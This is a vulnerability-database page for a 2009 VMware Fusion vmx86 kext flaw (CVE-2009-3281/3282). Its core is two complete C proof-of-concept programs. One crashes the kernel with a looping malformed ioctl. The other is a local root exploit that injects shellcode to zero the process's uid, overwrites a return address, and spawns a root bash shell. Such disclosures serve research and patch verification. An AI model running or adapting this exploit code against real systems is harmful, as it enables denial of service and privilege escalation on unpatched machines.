Lucene search
K

VMWare Fusion本地拒绝服务和权限提升漏洞

🗓️ 12 Oct 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

VMWare Fusion local denial of service and privilege escalation vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-3281
2 Oct 200900:00
circl
CVE
CVE-2009-3281
16 Oct 200916:00
cve
CVE
CVE-2009-3282
16 Oct 200916:00
cve
Cvelist
CVE-2009-3281
16 Oct 200916:00
cvelist
Cvelist
CVE-2009-3282
16 Oct 200916:00
cvelist
EUVD
EUVD-2009-3264
7 Oct 202500:30
euvd
EUVD
EUVD-2009-3265
7 Oct 202500:30
euvd
Tenable Nessus
VMware Fusion < 2.0.6 (VMSA-2009-0013)
2 Oct 200900:00
nessus
NVD
CVE-2009-3281
16 Oct 200916:30
nvd
NVD
CVE-2009-3282
16 Oct 200916:30
nvd
Rows per page

                                                /* vmware-pop.c
 *
 * Copyright (c) 2009 by &lt;[email protected]&gt;
 *
 * VMware Fusion &lt;= 2.0.5 vmx86 kext local denial of service POC
 * by mu-b - Mon 22 June 2009
 *
 * - Tested on: VMware Fusion 2.0.4 (10.5.x)
 *              VMware Fusion 2.0.5 (10.5.x)
 *
 * http://seclists.org/fulldisclosure/2009/Oct/29
 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html
 *
 * - this exploit is provided for educational purposes _only_. You are free
 *   to use this code in any way you wish provided you do not work for, or
 *   are associated in any way with Portcullis Computer Security Ltd.
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;unistd.h&gt;

#define VMX86_IOCTL       0x80045643

struct ioctl_req {
  struct ioctl_req_buf *uaddr;
};

struct ioctl_req_buf {
  char pad[0x8];
  int len;
  char _pad[0xC];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  struct ioctl_req_buf buf;
  int fd, r;

  printf (&quot;VMware Fusion &lt;= 2.0.5 vmx86 kext local kernel denial of service PoC\n&quot;
          &quot;by: &lt;[email protected]&gt;\n&quot;
          &quot;http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n&quot;);

  fd = open (&quot;/dev/vmmon&quot;, O_RDONLY);
  if (fd &lt; 0)
    {
      fprintf (stderr, &quot;%s: open failed\n&quot;, argv[0]);
      exit (EXIT_FAILURE);
    }

  memset (&amp;req, 0, sizeof req);
  req.uaddr = &amp;buf;

  memset (&amp;buf, 0x41, sizeof buf);
  buf.len = 0xAAAAAAA;

  printf (&quot;* hitting...\n&quot;);
  while (1)
    r = ioctl (fd, VMX86_IOCTL, &amp;req);

  /* not reachable!$%! */
  return (EXIT_SUCCESS);
}
=====================
/* vmware-fission.c
 *
 * Copyright (c) 2009 by &lt;[email protected]&gt;
 *
 * VMware Fusion &lt;= 2.0.5 vmx86 kext local kernel root exploit
 * by mu-b - Tue 23 June 2009
 *
 * - Tested on: VMware Fusion 2.0.4 (10.5.x)
 *              VMware Fusion 2.0.5 (10.5.x)
 *
 * http://seclists.org/fulldisclosure/2009/Oct/29
 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html
 *
 * note: this requires the driver to be 'un-initialised', that is,
 *       you need to hit it _before_ VMware Fusion is first used!
 *       (or, just use another bug to panic the box first ;))
 *
 * - this exploit is provided for educational purposes _only_. You are free
 *   to use this code in any way you wish provided you do not work for, or
 *   are associated in any way with Portcullis Computer Security Ltd.
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/param.h&gt;
#include &lt;unistd.h&gt;

#include &lt;mach/mach.h&gt;
#include &lt;mach/mach_error.h&gt;
#include &lt;mach/mach_host.h&gt;

#ifndef IOCPARM_MASK
#define IOCPARM_MASK      0x1FFF
#endif
#ifndef IOCPARM_LEN
#define IOCPARM_LEN(a)    (((a) &gt;&gt; 16) &amp; IOCPARM_MASK)
#endif
#define VMX86_INIT_IOCTL  0x802E564A

static unsigned char zleopard[] =
  /* _stack_walk        */
  &quot;\x89\xe8&quot;                      /* mov eax, ebp        */
  &quot;\x8b\x00&quot;                      /* mov eax, [eax]      */
  &quot;\x8b\x00&quot;                      /* mov eax, [eax]      */
  /* _drop_privs_dirty  */
  &quot;\x8b\x40\x18&quot;                  /* mov eax, [eax+0x18] */
  &quot;\x8b\x40\x64&quot;                  /* mov eax, [eax+0x64] */
  &quot;\xc7\x40\x10\x00\x00\x00\x00&quot;  /* mov [eax+0x10], 0   */
  &quot;\x31\xc0&quot;                      /* xor eax, eax        */
  &quot;\xc3&quot;;                         /* ret                 */

static struct targets {
  const char *name;
  int shell_addr;   /* +&amp;offset */
} targets_t[] = {
  { &quot;2.0.4&quot;, 0x000D1460 },
  { &quot;2.0.5&quot;, 0x000D1460 },
  { NULL, 0 },
};

struct ioctl_req {
  char pad[IOCPARM_LEN(VMX86_INIT_IOCTL)];
};

int
main (int argc, char **argv)
{
  kmod_info_t *kmod_list, *k;
  mach_port_t host_port;
  kern_return_t mach_r;
  struct ioctl_req req;
  unsigned int count;
  int shell_addr;
  int fd, id, i, r;

  printf (&quot;VMware Fusion &lt;= 2.0.5 vmx86 kext local kernel root exploit\n&quot;
          &quot;by: &lt;[email protected]&gt;\n&quot;
          &quot;http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n&quot;);

  host_port = mach_host_self ();
  mach_r = kmod_get_info (host_port, (void *) &amp;kmod_list, &amp;count);
  if (mach_r != KERN_SUCCESS)
    {
      fprintf (stderr, &quot;* couldn't get list of loaded kexts from kernel - %s\n&quot;,
               mach_error_string (mach_r));
      exit (EXIT_FAILURE);
    }

  for (k = kmod_list; k; k = (k-&gt;next) ? (k + 1) : NULL)
    if (strcmp (k-&gt;name, &quot;com.vmware.kext.vmx86&quot;) == 0)
      break;

  if (k == NULL)
    {
      fprintf (stderr, &quot;%s: vmx86 kext not loaded?\n&quot;, argv[0]);
      exit (EXIT_FAILURE);
    }

  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, k-&gt;version) == 0)
      {
        shell_addr = targets_t[i].shell_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, &quot;%s: unsupported vmx86 version found :( [%s]\n&quot;,
               argv[0], k-&gt;version);
      exit (EXIT_FAILURE);
    }

  printf (&quot;* kmod: %s, version: %s, addr: 0x%08X -&gt; 0x%08X\n&quot;,
          strrchr (k-&gt;name, '.') + 1, k-&gt;version, (int) k-&gt;address, (int) (k-&gt;address + k-&gt;size));
  printf (&quot;* ret addr: 0x%08X + 0x%08X = @0x%08X\n&quot;,
          (int) k-&gt;address, shell_addr + 0x1000, (int) k-&gt;address + shell_addr + 0x1000);

  fd = open (&quot;/dev/vmmon&quot;, O_RDONLY);
  if (fd &lt; 0)
    {
      fprintf (stderr, &quot;%s: open failed\n&quot;, argv[0]);
      exit (EXIT_FAILURE);
    }

  memset (&amp;req, 0xCC, sizeof req);
  memcpy (&amp;req.pad, zleopard, sizeof zleopard - 1);
  *(unsigned int *) &amp;req.pad[0x21] = k-&gt;address + shell_addr + 0x1000;

  printf (&quot;* hitting...&quot;);
  fflush (stdout);
  sleep (2);

  r = ioctl (fd, VMX86_INIT_IOCTL, &amp;req);
  printf (&quot;done\n\n&quot;);
  close (fd);

  id = getuid ();
  printf (&quot;* getuid(): %d\n&quot;, id);
  if (id == 0)
    {
      char *args[] = { &quot;/bin/bash&quot;, NULL };
      printf (&quot;+Wh00t\n\n&quot;);

      execve (args[0], args, NULL);
    }
  else
    fprintf (stderr, &quot;%s: failed to obtain root :(\n&quot;, argv[0]);

  return (EXIT_SUCCESS);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2009 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00509
31